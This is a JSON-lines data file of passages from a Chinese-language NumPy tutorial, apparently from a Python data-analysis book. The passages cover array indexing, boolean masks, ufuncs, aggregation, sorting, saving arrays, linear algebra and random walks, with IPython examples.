    {"text": "因此，在2×2×3数组arr3d中： In [76]: arr3d = np.array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]]) In [77]: arr3d Out[77]: array([[[ 1, 2, 3], [ 4, 5, 6]], [[ 7, 8, 9], [10, 11, 12]]]) arr3d[0]是一个2×3数组： In [78]: arr3d[0] Out[78]: array([[1, 2, 3], [4, 5, 6]]) 94 标量值和数组都可以被赋值给arr3d[0]： In [79]: old_values = arr3d[0].copy() In [80]: arr3d[0] = 42 In [81]: arr3d Out[81]: array([[[42, 42, 42], [42, 42, 42]], [[ 7, 8, 9], [10, 11, 12]]]) In [82]: arr3d[0] = old_values In [83]: arr3d Out[83]: array([[[ 1, 2, 3], [ 4, 5, 6]], [[ 7, 8, 9], [10, 11, 12]]]) 相似的，arr3d[1,0]可以访问索引以(1,0)开头的那些值（以一维数组的形式返回）： In [84]: arr3d[1, 0] Out[84]: array([7, 8, 9]) 虽然是用两步进行索引的，表达式是相同的： In [85]: x = arr3d[1] In [86]: x Out[86]: array([[ 7, 8, 9], [10, 11, 12]]) In [87]: x[0] Out[87]: array([7, 8, 9]) 注意，在上面所有这些选取数组子集的例子中，返回的数组都是视图。 切片索引 ndarray的切片语法跟Python列表这样的一维对象差不多： 95 In [88]: arr Out[88]: array([ 0, 1, 2, 3, 4, 64, 64, 64, 8, 9]) In [89]: arr[1:6] Out[89]: array([ 1, 2, 3, 4, 64]) 对于之前的二维数组arr2d，其切片方式稍显不同： In [90]: arr2d Out[90]: array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) In [91]: arr2d[:2] Out[91]: array([[1, 2, 3], [4, 5, 6]]) 可以看出，它是沿着第0轴（即第一个轴）切片的。"},
    {"text": "你可以一次传入多个切片，就像传入多个索引那样： In [92]: arr2d[:2, 1:] Out[92]: array([[2, 3], [5, 6]]) 像这样进行切片时，只能得到相同维数的数组视图。"},
    {"text": "例如，我可以选取第二行的前两列： In [93]: arr2d[1, :2] Out[93]: array([4, 5]) 相似的，还可以选择第三列的前两行： In [94]: arr2d[:2, 2] Out[94]: array([3, 6]) 图4-2对此进行了说明。"},
    {"text": "注意，“只有冒号”表示选取整个轴，因此你可以像下面这样只对高维轴进 行切片： 96 In [95]: arr2d[:, :1] Out[95]: array([[1], [4], [7]]) 97 自然，对切片表达式的赋值操作也会被扩散到整个选区： In [96]: arr2d[:2, 1:] = 0 In [97]: arr2d Out[97]: array([[1, 0, 0], [4, 0, 0], [7, 8, 9]]) 布尔型索引 来看这样一个例子，假设我们有一个用于存储数据的数组以及一个存储姓名的数组（含有重复 项）。"},
    {"text": "在这里，我将使用numpy.random中的randn函数生成一些正态分布的随机数据： In [98]: names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) In [99]: data = np.random.randn(7, 4) In [100]: names Out[100]: array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe'], dtype='<U4') In [101]: data Out[101]: array([[ 0.0929, 0.2817, 0.769 , 1.2464], [ 1.0072, -1.2962, 0.275 , 0.2289], [ 1.3529, 0.8864, -2.0016, -0.3718], [ 1.669 , -0.4386, -0.5397, 0.477 ], [ 3.2489, -1.0212, -0.5771, 0.1241], [ 0.3026, 0.5238, 0.0009, 1.3438], [-0.7135, -0.8312, -2.3702, -1.8608]]) 假设每个名字都对应data数组中的一行，而我们想要选出对应于名字\"Bob\"的所有行。"},
    {"text": "因此，对names和字符串\"Bob\"的比较运算将会产 生一个布尔型数组： In [102]: names == 'Bob' Out[102]: array([ True, False, False, True, False, False, False], dtype=bool) 这个布尔型数组可用于数组索引： In [103]: data[names == 'Bob'] Out[103]: 98 array([[ 0.0929, 0.2817, 0.769 , 1.2464], [ 1.669 , -0.4386, -0.5397, 0.477 ]]) 布尔型数组的长度必须跟被索引的轴长度一致。 此外，还可以将布尔型数组跟切片、整数（或整数 序列，稍后将对此进行详细讲解）混合使用： In [103]: data[names == 'Bob'] Out[103]: array([[ 0.0929, 0.2817, 0.769 , 1.2464], [ 1.669 , -0.4386, -0.5397, 0.477 ]]) 注意：如果布尔型数组的长度不对，布尔型选择就会出错，因此一定要小心。 下面的例子，我选取了 names == 'Bob' 的行，并索引了列： In [104]: data[names == 'Bob', 2:] Out[104]: array([[ 0.769 , 1.2464], [-0.5397, 0.477 ]]) In [105]: data[names == 'Bob', 3] Out[105]: array([ 1.2464, 0.477 ]) 要选择除\"Bob\"以外的其他值，既可以使用不等于符号（!=），也可以通过~对条件进行否定： In [106]: names != 'Bob' Out[106]: array([False, True, True, False, True, True, True], dtype=bool) In [107]: data[~(names == 'Bob')] Out[107]: array([[ 1.0072, -1.2962, 0.275 , 0.2289], [ 1.3529, 0.8864, -2.0016, -0.3718], [ 3.2489, -1.0212, -0.5771, 0.1241], [ 0.3026, 0.5238, 0.0009, 1.3438], [-0.7135, -0.8312, -2.3702, -1.8608]]) ~操作符用来反转条件很好用： In [108]: cond = names == 'Bob' In [109]: data[~cond] Out[109]: array([[ 1.0072, -1.2962, 0.275 , 0.2289], [ 1.3529, 0.8864, -2.0016, -0.3718], [ 3.2489, -1.0212, -0.5771, 0.1241], 99 [ 0.3026, 0.5238, 0.0009, 1.3438], [-0.7135, -0.8312, -2.3702, -1.8608]]) 选取这三个名字中的两个需要组合应用多个布尔条件，使用&（和）、|（或）之类的布尔算术运算 符即可： In [110]: mask = (names == 'Bob') | (names == 'Will') In [111]: mask Out[111]: array([ True, False, True, True, True, False, False], dtype=bool) In [112]: data[mask] Out[112]: array([[ 0.0929, 0.2817, 0.769 , 1.2464], [ 1.3529, 0.8864, -2.0016, -0.3718], [ 1.669 , -0.4386, -0.5397, 0.477 ], [ 3.2489, -1.0212, -0.5771, 0.1241]]) 通过布尔型索引选取数组中的数据，将总是创建数据的副本，即使返回一模一样的数组也是如此。"},
    {"text": "为了将data中的所有负值都设置为0，我们只需： In [113]: data[data < 0] = 0 In [114]: data Out[114]: array([[ 0.0929, 0.2817, 0.769 , 1.2464], [ 1.0072, 0. , 0.275 , 0.2289], [ 1.3529, 0.8864, 0. , 0. ], [ 1.669 , 0. , 0. , 0.477 ], [ 3.2489, 0. , 0. , 0.1241], [ 0.3026, 0.5238, 0.0009, 1.3438], [ 0. , 0. , 0. , 0. ]]) 通过一维布尔数组设置整行或列的值也很简单： In [115]: data[names != 'Joe'] = 7 In [116]: data Out[116]: array([[ 7. , 7. , 7. , 7. ], [ 1.0072, 0. , 0.275 , 0.2289], [ 7. , 7. , 7. , 7. ], [ 7. , 7. , 7. , 7. ], [ 7. , 7. , 7. , 7. ], 100 [ 0.3026, 0.5238, 0.0009, 1.3438], [ 0. , 0. , 0. , 0. ]]) 后面会看到，这类二维数据的操作也可以用pandas方便的来做。"},
    {"text": "假设我们有一 个8×4数组： In [117]: arr = np.empty((8, 4)) In [118]: for i in range(8): .....: arr[i] = i In [119]: arr Out[119]: array([[ 0., 0., 0., 0.], [ 1., 1., 1., 1.], [ 2., 2., 2., 2.], [ 3., 3., 3., 3.], [ 4., 4., 4., 4.], [ 5., 5., 5., 5.], [ 6., 6., 6., 6.], [ 7., 7., 7., 7.]]) 为了以特定顺序选取行子集，只需传入一个用于指定顺序的整数列表或ndarray即可： In [120]: arr[[4, 3, 0, 6]] Out[120]: array([[ 4., 4., 4., 4.], [ 3., 3., 3., 3.], [ 0., 0., 0., 0.], [ 6., 6., 6., 6.]]) 这段代码确实达到我们的要求了！ 使用负数索引将会从末尾开始选取行： In [121]: arr[[-3, -5, -7]] Out[121]: array([[ 5., 5., 5., 5.], [ 3., 3., 3., 3.], [ 1., 1., 1., 1.]]) 一次传入多个索引数组会有一点特别。 它返回的是一个一维数组，其中的元素对应各个索引元组： 101 In [122]: arr = np.arange(32).reshape((8, 4)) In [123]: arr Out[123]: array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23], [24, 25, 26, 27], [28, 29, 30, 31]]) In [124]: arr[[1, 5, 7, 2], [0, 3, 1, 2]] Out[124]: array([ 4, 23, 29, 10]) 附录A中会详细介绍reshape方法。"},
    {"text": "下面是得到该结果的一个办法： In [125]: arr[[1, 5, 7, 2]][:, [0, 3, 1, 2]] Out[125]: array([[ 4, 7, 5, 6], [20, 23, 21, 22], [28, 31, 29, 30], [ 8, 11, 9, 10]]) 记住，花式索引跟切片不一样，它总是将数据复制到新数组中。"},
    {"text": "数组不仅有 transpose方法，还有一个特殊的T属性： In [126]: arr = np.arange(15).reshape((3, 5)) In [127]: arr Out[127]: array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) In [128]: arr.T 102 Out[128]: array([[ 0, 5, 10], [ 1, 6, 11], [ 2, 7, 12], [ 3, 8, 13], [ 4, 9, 14]]) 在进行矩阵计算时，经常需要用到该操作，比如利用np.dot计算矩阵内积： In [129]: arr = np.random.randn(6, 3) In [130]: arr Out[130]: array([[-0.8608, 0.5601, -1.2659], [ 0.1198, -1.0635, 0.3329], [-2.3594, -0.1995, -1.542 ], [-0.9707, -1.307 , 0.2863], [ 0.378 , -0.7539, 0.3313], [ 1.3497, 0.0699, 0.2467]]) In [131]: np.dot(arr.T, arr) Out[131]: array([[ 9.2291, 0.9394, 4.948 ], [ 0.9394, 3.7662, -1.3622], [ 4.948 , -1.3622, 4.3437]]) 对于高维数组，transpose需要得到一个由轴编号组成的元组才能对这些轴进行转置（比较费脑 子）： In [132]: arr = np.arange(16).reshape((2, 2, 4)) In [133]: arr Out[133]: array([[[ 0, 1, 2, 3], [ 4, 5, 6, 7]], [[ 8, 9, 10, 11], [12, 13, 14, 15]]]) In [134]: arr.transpose((1, 0, 2)) Out[134]: array([[[ 0, 1, 2, 3], [ 8, 9, 10, 11]], [[ 4, 5, 6, 7], [12, 13, 14, 15]]]) 这里，第一个轴被换成了第二个，第二个轴被换成了第一个，最后一个轴不变。"},
    {"text": "ndarray还有一个swapaxes方法，它需要接 受一对轴编号： In [135]: arr Out[135]: array([[[ 0, 1, 2, 3], [ 4, 5, 6, 7]], [[ 8, 9, 10, 11], [12, 13, 14, 15]]]) In [136]: arr.swapaxes(1, 2) Out[136]: array([[[ 0, 4], [ 1, 5], [ 2, 6], [ 3, 7]], [[ 8, 12], [ 9, 13], [10, 14], [11, 15]]]) swapaxes也是返回源数据的视图（不会进行任何复制操作）。"},
    {"text": "许多ufunc都是简单的元素级变体，如sqrt和exp： In [137]: arr = np.arange(10) In [138]: arr Out[138]: array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) In [139]: np.sqrt(arr) Out[139]: array([ 0. , 1. , 1.4142, 1.7321, 2. , 2.2361, 2.4495, 2.6458, 2.8284, 3. ]) In [140]: np.exp(arr) Out[140]: array([ 1. , 2.7183, 7.3891, 20.0855, 54.5982, 148.4132, 403.4288, 1096.6332, 2980.958 , 8103.0839]) 104 这些都是一元（unary）ufunc。 另外一些（如add或maximum）接受2个数组（因此也叫二元 （binary）ufunc），并返回一个结果数组： In [141]: x = np.random.randn(8) In [142]: y = np.random.randn(8) In [143]: x Out[143]: array([-0.0119, 1.0048, 1.3272, -0.9193, -1.5491, 0.0222, 0.7584, -0.6605]) In [144]: y Out[144]: array([ 0.8626, -0.01 , 0.05 , 0.6702, 0.853 , -0.9559, -0.0235, -2.3042]) In [145]: np.maximum(x, y) Out[145]: array([ 0.8626, 1.0048, 1.3272, 0.6702, 0.853 , 0.0222, 0.7584, -0.6605]) 这里，numpy.maximum计算了x和y中元素级别最大的元素。"},
    {"text": "modf就是一个例子，它是Python内置函数 divmod的矢量化版本，它会返回浮点数数组的小数和整数部分： In [146]: arr = np.random.randn(7) * 5 In [147]: arr Out[147]: array([-3.2623, -6.0915, -6.663 , 5.3731, 3.6182, 3.45 , 5.0077]) In [148]: remainder, whole_part = np.modf(arr) In [149]: remainder Out[149]: array([-0.2623, -0.0915, -0.663 , 0.3731, 0.6182, 0.45 , 0.0077]) In [150]: whole_part Out[150]: array([-3., -6., -6., 5., 3., 3., 5.]) Ufuncs可以接受一个out可选参数，这样就能在数组原地进行操作： In [151]: arr Out[151]: array([-3.2623, -6.0915, -6.663 , 5.3731, 3.6182, 3.45 , 5.0077]) In [152]: np.sqrt(arr) 105 Out[152]: array([ nan, nan, nan, 2.318 , 1.9022, 1.8574, 2.2378]) In [153]: np.sqrt(arr, arr) Out[153]: array([ nan, nan, nan, 2.318 , 1.9022, 1.8574, 2.2378]) In [154]: arr Out[154]: array([ nan, nan, nan, 2.318 , 1.9022, 1.8574, 2.2378]) 表4-3和表4-4分别列出了一些一元和二元ufunc。"},
    {"text": "np.meshgrid函 数接受两个一维数组，并产生两个二维矩阵（对应于两个数组中所有的(x,y)对）： In [155]: points = np.arange(-5, 5, 0.01) # 1000 equally spaced points In [156]: xs, ys = np.meshgrid(points, points) In [157]: ys Out[157]: array([[-5. , -5. , -5. , ..., -5. , -5. , -5. ], [-4.99, -4.99, -4.99, ..., -4.99, -4.99, -4.99], [-4.98, -4.98, -4.98, ..., -4.98, -4.98, -4.98], ..., [ 4.97, 4.97, 4.97, ..., 4.97, 4.97, 4.97], [ 4.98, 4.98, 4.98, ..., 4.98, 4.98, 4.98], [ 4.99, 4.99, 4.99, ..., 4.99, 4.99, 4.99]]) 107 现在，对该函数的求值运算就好办了，把这两个数组当做两个浮点数那样编写表达式即可： In [158]: z = np.sqrt(xs ** 2 + ys ** 2) In [159]: z Out[159]: array([[ 7.0711, 7.064 , 7.0569, ..., 7.0499, 7.0569, 7.064 ], [ 7.064 , 7.0569, 7.0499, ..., 7.0428, 7.0499, 7.0569], [ 7.0569, 7.0499, 7.0428, ..., 7.0357, 7.0428, 7.0499], ..., [ 7.0499, 7.0428, 7.0357, ..., 7.0286, 7.0357, 7.0428], [ 7.0569, 7.0499, 7.0428, ..., 7.0357, 7.0428, 7.0499], [ 7.064 , 7.0569, 7.0499, ..., 7.0428, 7.0499, 7.0569]]) 作为第9章的先导，我用matplotlib创建了这个二维数组的可视化： In [160]: import matplotlib.pyplot as plt In [161]: plt.imshow(z, cmap=plt.cm.gray); plt.colorbar() Out[161]: <matplotlib.colorbar.Colorbar at 0x7f715e3fa630> In [162]: plt.title(\"Image plot of $\\sqrt{x^2 + y^2}$ for a grid of values\") Out[162]: <matplotlib.text.Text at 0x7f715d2de748> 见图4-3。"},
    {"text": "假设我们有一个布尔数组和两 个值数组： In [165]: xarr = np.array([1.1, 1.2, 1.3, 1.4, 1.5]) In [166]: yarr = np.array([2.1, 2.2, 2.3, 2.4, 2.5]) In [167]: cond = np.array([True, False, True, True, False]) 假设我们想要根据cond中的值选取xarr和yarr的值：当cond中的值为True时，选取xarr的值，否则 从yarr中选取。"},
    {"text": "列表推导式的写法应该如下所示： In [168]: result = [(x if c else y) .....: for x, y, c in zip(xarr, yarr, cond)] 109 In [169]: result Out[169]: [1.1000000000000001, 2.2000000000000002, 1.3, 1.3999999999999999, 2.5] 这有几个问题。"},
    {"text": "若使用np.where，则可以将该功能写得非常简洁： In [170]: result = np.where(cond, xarr, yarr) In [171]: result Out[171]: array([ 1.1, 2.2, 1.3, 1.4, 2.5]) np.where的第二个和第三个参数不必是数组，它们都可以是标量值。"},
    {"text": "若利用np.where，则会非常简单： In [172]: arr = np.random.randn(4, 4) In [173]: arr Out[173]: array([[-0.5031, -0.6223, -0.9212, -0.7262], [ 0.2229, 0.0513, -1.1577, 0.8167], [ 0.4336, 1.0107, 1.8249, -0.9975], [ 0.8506, -0.1316, 0.9124, 0.1882]]) In [174]: arr > 0 Out[174]: array([[False, False, False, False], [ True, True, False, True], [ True, True, True, False], [ True, False, True, True]], dtype=bool) In [175]: np.where(arr > 0, 2, -2) Out[175]: array([[-2, -2, -2, -2], [ 2, 2, -2, 2], [ 2, 2, 2, -2], [ 2, -2, 2, 2]]) 使用np.where，可以将标量和数组结合起来。 例如，我可用常数2替换arr中所有正的值： In [176]: np.where(arr > 0, 2, arr) # set only positive values to 2 Out[176]: array([[-0.5031, -0.6223, -0.9212, -0.7262], [ 2. , 2. , -1.1577, 2. ], [ 2. , 2. , 2. , -0.9975], [ 2. , -0.1316, 2. , 2. ]]) 110 传递给where的数组大小可以不相等，甚至可以是标量值。"},
    {"text": "sum、mean以及标 准差std等聚合计算（aggregation，通常叫做约简（reduction））既可以当做数组的实例方法调 用，也可以当做顶级NumPy函数使用。"},
    {"text": "这里，我生成了一些正态分布随机数据，然后做了聚类统计： In [177]: arr = np.random.randn(5, 4) In [178]: arr Out[178]: array([[ 2.1695, -0.1149, 2.0037, 0.0296], [ 0.7953, 0.1181, -0.7485, 0.585 ], [ 0.1527, -1.5657, -0.5625, -0.0327], [-0.929 , -0.4826, -0.0363, 1.0954], [ 0.9809, -0.5895, 1.5817, -0.5287]]) In [179]: arr.mean() Out[179]: 0.19607051119998253 In [180]: np.mean(arr) Out[180]: 0.19607051119998253 In [181]: arr.sum() Out[181]: 3.9214102239996507 mean和sum这类的函数可以接受一个axis选项参数，用于计算该轴向上的统计值，最终结果是一 个少一维的数组： In [182]: arr.mean(axis=1) Out[182]: array([ 1.022 , 0.1875, -0.502 , -0.0881, 0.3611]) In [183]: arr.sum(axis=0) Out[183]: array([ 3.1693, -2.6345, 2.2381, 1.1486]) 这里，arr.mean(1)是“计算行的平均值”，arr.sum(0)是“计算每列的和”。 其他如cumsum和cumprod之类的方法则不聚合，而是产生一个由中间结果组成的数组： In [184]: arr = np.array([0, 1, 2, 3, 4, 5, 6, 7]) In [185]: arr.cumsum() 111 Out[185]: array([ 0, 1, 3, 6, 10, 15, 21, 28]) 在多维数组中，累加函数（如cumsum）返回的是同样大小的数组，但是会根据每个低维的切片沿 着标记轴计算部分聚类： In [186]: arr = np.array([[0, 1, 2], [3, 4, 5], [6, 7, 8]]) In [187]: arr Out[187]: array([[0, 1, 2], [3, 4, 5], [6, 7, 8]]) In [188]: arr.cumsum(axis=0) Out[188]: array([[ 0, 1, 2], [ 3, 5, 7], [ 9, 12, 15]]) In [189]: arr.cumprod(axis=1) Out[189]: array([[ 0, 0, 0], [ 3, 12, 60], [ 6, 42, 336]]) 表4-5列出了全部的基本数组统计方法。"},
    {"text": "用于布尔型数组的方法 112 在上面这些方法中，布尔值会被强制转换为1（True）和0（False）。 因此，sum经常被用来对布 尔型数组中的True值计数： In [190]: arr = np.random.randn(100) In [191]: (arr > 0).sum() # Number of positive values Out[191]: 42 另外还有两个方法any和all，它们对布尔型数组非常有用。 any用于测试数组中是否存在一个或多 个True，而all则检查数组中所有值是否都是True： In [192]: bools = np.array([False, False, True, False]) In [193]: bools.any() Out[193]: True In [194]: bools.all() Out[194]: False 这两个方法也能用于非布尔型数组，所有非0元素将会被当做True。"},
    {"text": "排序 跟Python内置的列表类型一样，NumPy数组也可以通过sort方法就地排序： In [195]: arr = np.random.randn(6) In [196]: arr Out[196]: array([ 0.6095, -0.4938, 1.24 , -0.1357, 1.43 , -0.8469]) In [197]: arr.sort() In [198]: arr Out[198]: array([-0.8469, -0.4938, -0.1357, 0.6095, 1.24 , 1.43 ]) 多维数组可以在任何一个轴向上进行排序，只需将轴编号传给sort即可： In [199]: arr = np.random.randn(5, 3) In [200]: arr Out[200]: array([[ 0.6033, 1.2636, -0.2555], [-0.4457, 0.4684, -0.9616], [-1.8245, 0.6254, 1.0229], [ 1.1074, 0.0909, -0.3501], 113 [ 0.218 , -0.8948, -1.7415]]) In [201]: arr.sort(1) In [202]: arr Out[202]: array([[-0.2555, 0.6033, 1.2636], [-0.9616, -0.4457, 0.4684], [-1.8245, 0.6254, 1.0229], [-0.3501, 0.0909, 1.1074], [-1.7415, -0.8948, 0.218 ]]) 顶级方法np.sort返回的是数组的已排序副本，而就地排序则会修改数组本身。 计算数组分位数最 简单的办法是对其进行排序，然后选取特定位置的值： In [203]: large_arr = np.random.randn(1000) In [204]: large_arr.sort() In [205]: large_arr[int(0.05 * len(large_arr))] # 5% quantile Out[205]: -1.5311513550102103 更多关于NumPy排序方法以及诸如间接排序之类的高级技术，请参阅附录A。"},
    {"text": "最常用的可能要数np.unique了，它用于找 出数组中的唯一值并返回已排序的结果： In [206]: names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) In [207]: np.unique(names) Out[207]: array(['Bob', 'Joe', 'Will'], dtype='<U4') In [208]: ints = np.array([3, 3, 3, 2, 2, 1, 1, 4, 4]) In [209]: np.unique(ints) Out[209]: array([1, 2, 3, 4]) 拿跟np.unique等价的纯Python代码来对比一下： In [210]: sorted(set(names)) 114 Out[210]: ['Bob', 'Joe', 'Will'] 另一个函数np.in1d用于测试一个数组中的值在另一个数组中的成员资格，返回一个布尔型数组： In [211]: values = np.array([6, 0, 0, 3, 2, 5, 6]) In [212]: np.in1d(values, [2, 3, 6]) Out[212]: array([ True, False, False, True, True, False, True], dtype=bool) NumPy中的集合函数请参见表4-6。"},
    {"text": "默认情况下，数组是以未压缩的原始二进 制格式保存在扩展名为.npy的文件中的： In [213]: arr = np.arange(10) In [214]: np.save('some_array', arr) 如果文件路径末尾没有扩展名.npy，则该扩展名会被自动加上。 然后就可以通过np.load读取磁盘 上的数组： In [215]: np.load('some_array.npy') Out[215]: array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) 通过np.savez可以将多个数组保存到一个未压缩文件中，将数组以关键字参数的形式传入即可： 115 In [216]: np.savez('array_archive.npz', a=arr, b=arr) 加载.npz文件时，你会得到一个类似字典的对象，该对象会对各个数组进行延迟加载： In [217]: arch = np.load('array_archive.npz') In [218]: arch['b'] Out[218]: array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) 如果要将数据压缩，可以使用numpy.savez_compressed： In [219]: np.savez_compressed('arrays_compressed.npz', a=arr, b=arr) 4.5 线性代数 线性代数（如矩阵乘法、矩阵分解、行列式以及其他方阵数学等）是任何数组库的重要组成部分。"},
    {"text": "因此，NumPy提供了一个用于矩阵乘法的dot函数（既是一个数组方法也是numpy命名 空间中的一个函数）： In [223]: x = np.array([[1., 2., 3.], [4., 5., 6.]]) In [224]: y = np.array([[6., 23.], [-1, 7], [8, 9]]) In [225]: x Out[225]: array([[ 1., 2., 3.], [ 4., 5., 6.]]) In [226]: y Out[226]: array([[ 6., 23.], [ -1., 7.], [ 8., 9.]]) In [227]: x.dot(y) Out[227]: array([[ 28., 64.], [ 67., 181.]]) x.dot(y)等价于np.dot(x, y)： In [228]: np.dot(x, y) 116 Out[228]: array([[ 28., 64.], [ 67., 181.]]) 一个二维数组跟一个大小合适的一维数组的矩阵点积运算之后将会得到一个一维数组： In [229]: np.dot(x, np.ones(3)) Out[229]: array([ 6., 15.]) @符（类似Python 3.5）也可以用作中缀运算符，进行矩阵乘法： In [230]: x @ np.ones(3) Out[230]: array([ 6., 15.]) numpy.linalg中有一组标准的矩阵分解运算以及诸如求逆和行列式之类的东西。 它们跟MATLAB和 R等语言所使用的是相同的行业标准线性代数库，如BLAS、LAPACK、Intel MKL（Math Kernel Library，可能有，取决于你的NumPy版本）等： In [231]: from numpy.linalg import inv, qr In [232]: X = np.random.randn(5, 5) In [233]: mat = X.T.dot(X) In [234]: inv(mat) Out[234]: array([[ 933.1189, 871.8258, -1417.6902, -1460.4005, 1782.1391], [ 871.8258, 815.3929, -1325.9965, -1365.9242, 1666.9347], [-1417.6902, -1325.9965, 2158.4424, 2222.0191, -2711.6822], [-1460.4005, -1365.9242, 2222.0191, 2289.0575, -2793.422 ], [ 1782.1391, 1666.9347, -2711.6822, -2793.422 , 3409.5128]]) In [235]: mat.dot(inv(mat)) Out[235]: array([[ 1., 0., -0., -0., -0.], [-0., 1., 0., 0., 0.], [ 0., 0., 1., 0., 0.], [-0., 0., 0., 1., -0.], [-0., 0., 0., 0., 1.]]) In [236]: q, r = qr(mat) In [237]: r Out[237]: array([[-1.6914, 4.38 , 0.1757, 0.4075, -0.7838], [ 0. , -2.6436, 0.1939, -3.072 , -1.0702], 117 [ 0. , 0. , -0.8138, 1.5414, 0.6155], [ 0. , 0. , 0. , -2.6445, -2.1669], [ 0. , 0. , 0. , 0. , 0.0002]]) 表达式X.T.dot(X)计算X和它的转置X.T的点积。"},
    {"text": "例如，你可以用normal来得到一个标准正态分布的4×4样本数组： In [238]: samples = np.random.normal(size=(4, 4)) In [239]: samples Out[239]: array([[ 0.5732, 0.1933, 0.4429, 1.2796], [ 0.575 , 0.4339, -0.7658, -1.237 ], [-0.5367, 1.8545, -0.92 , -0.1082], [ 0.1525, 0.9435, -1.0953, -0.144 ]]) 而Python内置的random模块则只能一次生成一个样本值。 从下面的测试结果中可以看出，如果需 要产生大量样本值，numpy.random快了不止一个数量级： 118 In [240]: from random import normalvariate In [241]: N = 1000000 In [242]: %timeit samples = [normalvariate(0, 1) for _ in range(N)] 1.77 s +- 126 ms per loop (mean +- std. dev. of 7 runs, 1 loop each) In [243]: %timeit np.random.normal(size=N) 61.7 ms +- 1.32 ms per loop (mean +- std. dev. of 7 runs, 10 loops each) 我们说这些都是伪随机数，是因为它们都是通过算法基于随机数生成器种子，在确定性的条件下生 成的。 你可以用NumPy的np.random.seed更改随机数生成种子： In [244]: np.random.seed(1234) numpy.random的数据生成函数使用了全局的随机种子。 要避免全局状态，你可以使用 numpy.random.RandomState，创建一个与其它隔离的随机数生成器： In [245]: rng = np.random.RandomState(1234) In [246]: rng.randn(10) Out[246]: array([ 0.4714, -1.191 , 1.4327, -0.3127, -0.7206, 0.8872, 0.8596, -0.6365, 0.0157, -2.2427]) 表4-8列出了numpy.random中的部分函数。"},
    {"text": "下面是一个通过内置的random模块以纯Python的方式实现1000步的随机漫步： In [247]: import random .....: position = 0 .....: walk = [position] .....: steps = 1000 .....: for i in range(steps): .....: step = 1 if random.randint(0, 1) else -1 .....: position += step .....: walk.append(position) .....: 图4-4是根据前100个随机漫步值生成的折线图： In [249]: plt.plot(walk[:100]) 120 不难看出，这其实就是随机漫步中各步的累计和，可以用一个数组运算来实现。 因此，我用 np.random模块一次性随机产生1000个“掷硬币”结果（即两个数中任选一个），将其分别设置为1 或－1，然后计算累计和： In [251]: nsteps = 1000 In [252]: draws = np.random.randint(0, 2, size=nsteps) In [253]: steps = np.where(draws > 0, 1, -1) In [254]: walk = steps.cumsum() 有了这些数据之后，我们就可以沿着漫步路径做一些统计工作了，比如求取最大值和最小值： In [255]: walk.min() Out[255]: -3 In [256]: walk.max() Out[256]: 31 现在来看一个复杂点的统计任务——首次穿越时间，即随机漫步过程中第一次到达某个特定值的时 间。"},
    {"text": "np.abs(walk)>=10可以得到一个布尔型数组，它表示的是距离是否达到或超过10，而我们想要知 道的是第一个10或－10的索引。 可以用argmax来解决这个问题，它返回的是该布尔型数组第一个 最大值的索引（True就是最大值）： 121 In [257]: (np.abs(walk) >= 10).argmax() Out[257]: 37 注意，这里使用argmax并不是很高效，因为它无论如何都会对数组进行完全扫描。"},
    {"text": "只要给numpy.random的函数传入一个二元元组就可以产生一个二维数组，然 后我们就可以一次性计算5000个随机漫步过程（一行一个）的累计和了： In [258]: nwalks = 5000 In [259]: nsteps = 1000 In [260]: draws = np.random.randint(0, 2, size=(nwalks, nsteps)) # 0 or 1 In [261]: steps = np.where(draws > 0, 1, -1) In [262]: walks = steps.cumsum(1) In [263]: walks Out[263]: array([[ 1, 0, 1, ..., 8, 7, 8], [ 1, 0, -1, ..., 34, 33, 32], [ 1, 0, -1, ..., 4, 5, 4], ..., [ 1, 2, 1, ..., 24, 25, 26], [ 1, 2, 3, ..., 14, 13, 14], [ -1, -2, -3, ..., -24, -23, -22]]) 现在，我们来计算所有随机漫步过程的最大值和最小值： In [264]: walks.max() Out[264]: 138 In [265]: walks.min() Out[265]: -133 得到这些数据之后，我们来计算30或－30的最小穿越时间。"},
    {"text": "我们可以用any方法来对此进行检查： In [266]: hits30 = (np.abs(walks) >= 30).any(1) 122 In [267]: hits30 Out[267]: array([False, True, False, ..., False, True, False], dtype=bool) In [268]: hits30.sum() # Number that hit 30 or -30 Out[268]: 3410 然后我们利用这个布尔型数组选出那些穿越了30（绝对值）的随机漫步（行），并调用argmax在 轴1上获取穿越时间： In [269]: crossing_times = (np.abs(walks[hits30]) >= 30).argmax(1) In [270]: crossing_times.mean() Out[270]: 498.88973607038122 请尝试用其他分布方式得到漫步数据。"},
    {"text": "只需使用不同的随机数生成函数即可，如normal用于生成 指定均值和标准差的正态分布数据： In [271]: steps = np.random.normal(loc=0, scale=0.25, .....: size=(nwalks, nsteps)) 4.8 结论 虽然本书剩下的章节大部分是用pandas规整数据，我们还是会用到相似的基于数组的计算。"},
    {"text": "pandas是基于NumPy数组构建的，特别是基于数组的 函数和不使用for循环的数据处理。 虽然pandas采用了大量的NumPy编码风格，但二者最大的不同是pandas是专门为处理表格和混杂 数据设计的。"},
    {"text": "因为Series和DataFrame用的次数非常 多，所以将其引入本地命名空间中会更方便： In [2]: from pandas import Series, DataFrame 5.1 pandas 的数据结构介绍 要使用pandas，你首先就得熟悉它的两个主要数据结构：Series和DataFrame。"},
    {"text": "仅由一组数据即可产生最简单的Series： In [11]: obj = pd.Series([4, 7, -5, 3]) In [12]: obj Out[12]: 0 4 1 7 2 -5 3 3 dtype: int64 Series的字符串表现形式为：索引在左边，值在右边。"},
